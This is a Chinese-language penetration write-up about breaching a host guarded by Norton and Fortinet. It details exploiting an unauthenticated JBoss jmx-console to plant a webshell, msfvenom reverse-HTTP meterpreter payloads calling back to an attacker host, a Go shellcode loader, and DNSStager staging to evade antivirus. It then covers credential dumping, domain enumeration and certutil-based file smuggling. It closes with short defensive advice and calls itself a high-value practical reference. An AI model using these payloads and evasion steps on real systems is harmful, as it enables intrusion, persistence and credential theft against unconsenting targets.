记一次Bypass国外杀毒的主机渗透经历
字数 1107 2025-08-05 08:18:04
Bypass国外杀毒软件的主机渗透实战教学
一、目标发现与初步渗透
1.1 信息收集与端口扫描
- 首先对目标IP进行端口扫描,发现8087和8082端口开放
- 8082端口运行JBoss应用服务器,成为主要攻击目标
1.2 JBoss漏洞利用
- 尝试弱口令后台部署war包未果
- 发现jmx-console未授权访问漏洞
- 使用DeploymentFileRepository MBean进行war包部署:
http://150.*.*.*:8082/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository - 通过store参数部署后门war文件,成功获取webshell
二、环境分析与杀软对抗
2.1 目标环境分析
- 发现存在域环境
- 当前用户为".p"结尾,可能是经理级别账户
- 检测到诺顿(Norton)和飞塔(Fortinet)杀毒软件
2.2 免杀技术尝试
方法一:Base64加密Shellcode加载
- 使用MSF生成加密payload:
msfvenom -p windows/meterpreter/reverse_http --encrypt base64 lhost=1*.1*.7*.3 lport=800 -f c > shell.c - 使用C加载器执行解密后的shellcode
- 结果:文件被诺顿直接删除
方法二:Go语言加密Shellcode
- 使用CS生成C格式payload并转换为Go格式
- 关键代码结构:
shellcode_buf = []byte{0xfc, 0x48, ...} // 内存分配与执行代码... - 编译命令:
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build shellcode.go - 结果:文件保留但通信行为被拦截
方法三:FourEye免杀框架
- 项目地址:https://github.com/lengjibo/FourEye
- 生成raw格式payload并转换
- 结果:stager请求成功但后续通信被拦截
方法四:DNSStager分离免杀
- 使用DNS协议传输shellcode
- 关键步骤:
python3 dnsstager.py --domain test.*.tk --payload x64/c/ipv6 --output /home/a2.exe --prefix cdn- --shellcode_path /home/DNSStager/payload.bin --sleep 1 --xorkey 0x10 - 结果:最终成功绕过杀软获取shell
三、后渗透操作
3.1 内网信息收集
- 使用CS自带功能抓取密码
- 尝试域信息收集命令:
net group "domain controllers" /domain net group "domain admins" /domain
3.2 横向移动尝试
- 文件传输受阻,采用分拆编码方式:
certutil -encode frpc.exe 1.txt - 分拆大文件为两部分传输
- 目标端重组:
certutil -decode 1.txt 1.exe certutil -decode 2.txt 2.exe copy /b 1.exe+2.exe 3.exe certutil -hashfile 3.exe MD5 - 限制:目标限制程序执行,横向移动受阻
四、技术要点总结
-
JBoss利用要点:
- 关注DeploymentFileRepository MBean
- war包部署需要正确参数格式
-
免杀技术演进:
- 从简单加密到分离式加载
- 通信行为与文件特征双重规避
- DNS协议在严格环境下的优势
-
对抗高级杀软策略:
- 文件分拆传输与重组
- 非标准协议通信
- 最小化内存驻留
-
后渗透限制应对:
- 当直接传输受阻时的替代方案
- 环境限制下的变通方法
五、防御建议
-
针对JBoss:
- 关闭jmx-console的未授权访问
- 定期更新JBoss版本
-
针对免杀攻击:
- 部署行为分析型防护
- 监控异常DNS请求
-
针对后渗透:
- 限制certutil等工具的使用
- 实施严格的执行策略
本案例展示了从外网渗透到内网扩展的全过程,重点突出了在严格杀软环境下的各种绕过技术,具有很高的实战参考价值。